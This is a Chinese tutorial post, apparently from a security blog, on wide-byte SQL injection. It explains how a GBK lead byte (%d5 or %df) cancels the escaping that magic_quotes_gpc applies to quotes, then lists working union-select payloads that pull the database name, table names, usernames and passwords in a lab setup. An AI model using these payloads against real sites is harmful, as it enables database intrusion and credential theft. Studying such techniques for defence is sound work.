首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >sql注入之(宽字节注入篇)

sql注入之(宽字节注入篇)

作者头像
逍遥子大表哥
发布2021-12-17 17:54:53
发布2021-12-17 17:54:53
3.7K0
举报
文章被收录于专栏:kali blogkali blog

注入原理

magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号,就会被自动转义\’,使很多注入攻击无效,

GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号对应的编码0×5C。

0xD50×5C 对应了汉字“”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“”。

下面分析攻击过程:

/test.php?username=test%d5′%20or%201=1%23&pwd=test

经过浏览器编码,username参数值为(单引号的编码0×27)

username=test%d5%27%20or%201=1%23

经过php的url解码

username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格)

经过PHP的GPC自动转义变成(单引号0×27被转义成’对应的编码0×5c0×27):

username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23

因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符#

上面的SQL语句最终为: SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’;

注释符#后面的字符串已经无效,等价于

SELECT * FROM user WHERE username=’test诚’ or 1=1;

条件变成永真,成功注入。

补充:

0xD50×5C不是唯一可以绕过单引号转义的字符,0×81-0xFE开头+0×5C的字符应该都可以。

手工注入

开启漏洞环境,并用burp抓包

爆出数据库

代码语言:javascript
复制
%df' union select 1,database() %23

爆出表

代码语言:javascript
复制
%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()  %23

注意:这里列出了四个users表,意味着该表下面有四个字段

爆出数据

查用户

代码语言:javascript
复制
%df' union select 1,username  from users where 1=1 limit 0,1 %23

查密码

代码语言:javascript
复制
%df' union select 1, password from users where 1=1 limit 0,1 %23

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/1920885

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 注入原理
  • 手工注入
  • 爆出数据库
  • 爆出表
  • 爆出数据
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档